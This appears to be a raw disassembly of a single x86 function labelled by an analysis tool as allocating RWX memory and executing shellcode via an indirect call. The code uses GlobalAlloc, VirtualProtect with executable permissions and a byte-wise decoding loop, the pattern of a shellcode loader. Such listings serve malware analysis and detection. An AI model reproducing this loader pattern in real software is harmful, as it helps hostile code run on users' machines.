Function at 0x40790b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov eax, 0x5092f0
xor ecx, ecx
test eax, eax
je 0x407953
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
xor ebx, ebx
test eax, eax
je 0x407966
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x40797d
dec eax
test ecx, ecx
je 0x40797d
call fcn.00407857
add esp, 0xc
test eax, eax
jne 0x40799a
push dword [ebp + 8]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x10]
jmp 0x407fae
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x407a47
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalSize]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x4079e6
push 6
call fcn.004d8e21
add esp, 4
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.004d9d40
add esp, 0x1c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x407a21
push ebx
call fcn.004d8e2d
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x407a47
push 6
call fcn.004d8e21
add esp, 4
push VariantCopy
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x407a5c
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
xor ecx, ecx
push eax
lea eax, [ebp - 0xc]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x407ee7
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
call fcn.004010c7
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x407aa5
push 4
call fcn.004d8e21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x407ab8
push 1
call fcn.004d8e21
add esp, 4
add ebx, eax
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp byte [ebx], 0x7f
ja 0x407e55
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
push dword [ebx]
call fcn.0040550b
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x28], ebx
mov ebx, dword [ebp - 0x28]
fild dword [ebx]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
fmul qword [0x50bd95]
fstp qword [ebp - 0x38]
fild dword [ebp - 0x24]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fadd qword [ebp - 0x38]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.00401feb
push eax
call fcn.0040550b
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
call fcn.004010c7
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x407b3f
push 4
call fcn.004d8e21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x407b52
push 1
call fcn.004d8e21
add esp, 4
add ebx, eax
mov dword [ebp - 0x20], ebx
push 1
push dword [ebp + 0x10]
push 1
mov ebx, dword [ebp - 0x20]
mov al, byte [ebx]
and eax, 0xff
push eax
push dword [ebp - 0x10]
call fcn.00407fd4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x407b88
push ebx
call fcn.004d8e2d
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push VariantCopy
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x407b9f
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push dword [ebp - 0x20]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x407bdc
push 6
call fcn.004d8e21
add esp, 4
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fild dword [ebp - 0x18]
fstp qword [ebp - 0x2c]
fsub qword [ebp - 0x2c]
fsub qword [0x50bde5]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.00401feb
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push dword [ebp - 0x10]
push 1
mov ebx, 0x198
call fcn.004d9ff0
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push 0x50bded
mov ecx, 2
call fcn.00405cf0
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x407c4c
push ebx
call fcn.004d8e2d
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x198
call fcn.004d9ff0
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x50bded
mov ecx, 2
call fcn.00405cf0
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x407c93
push ebx
call fcn.004d8e2d
add esp, 4
mov ebx, 6
call fcn.00407903
push VariantCopy
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x407cb0
mov eax, 0x5092f0
push eax
push VariantCopy
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x407cc4
mov eax, 0x5092f0
push eax
push VariantCopy
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x407cd8
mov eax, 0x5092f0
push eax
push 5
mov ebx, 0x1b8
call fcn.004da520
add esp, 0x40
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x407cfe
push ebx
call fcn.004d8e2d
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x407d0e
push ebx
call fcn.004d8e2d
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x407d22
push ebx
call fcn.004d8e2d
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push VariantCopy
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x407d39
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push dword [ebp - 0x18]
push VariantCopy
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x407d71
mov eax, 0x5092f0
push eax
push 3
mov ebx, 0x914
call fcn.004da540
add esp, 0x28
push VariantCopy
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x407d97
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
mov eax, 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push dword [ebp - 0x20]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x407de3
push 6
call fcn.004d8e21
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0x18]
push 1
mov ebx, 0x198
call fcn.004d9ff0
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp - 8]
mov ecx, 2
call fcn.00405cf0
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x407e28
push ebx
call fcn.004d8e2d
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x407e3c
push ebx
call fcn.004d8e2d
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
inc dword [ebx]
jmp 0x407edf
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
fild dword [ebx]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fadd qword [0x50bdf6]
fstp qword [ebp - 0x34]
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
call fcn.004010c7
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x407e9e
push 4
call fcn.004d8e21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x407eb1
push 1
call fcn.004d8e21
add esp, 4
add ebx, eax
mov dword [ebp - 0x38], ebx
fld qword [ebp - 0x34]
mov ebx, dword [ebp - 0x38]
mov al, byte [ebx]
and eax, 0xff
mov dword [ebp - 0x40], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x40]
fsub qword [ebp - 0x40]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.00401feb
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
pop eax
pop ebx
pop ecx
jmp 0x407a78
add esp, 0xc
push VariantCopy
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x407efd
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push dword [ebp - 0x20]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x407f3a
push 6
call fcn.004d8e21
add esp, 4
mov dword [ebp - 4], eax
push VariantCopy
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x407f50
mov eax, 0x5092f0
push eax
push 1
mov ebx, 0x194
call fcn.004da310
add esp, 0x10
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push dword [ebp - 4]
push VariantCopy
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x407f88
mov eax, 0x5092f0
push eax
push 3
mov ebx, 0x914
call fcn.004da540
add esp, 0x28
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x407fbe
push ebx
call fcn.004d8e2d
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x407fce
push ebx
call fcn.004d8e2d
add esp, 4
mov esp, ebp
pop ebp
ret 0x10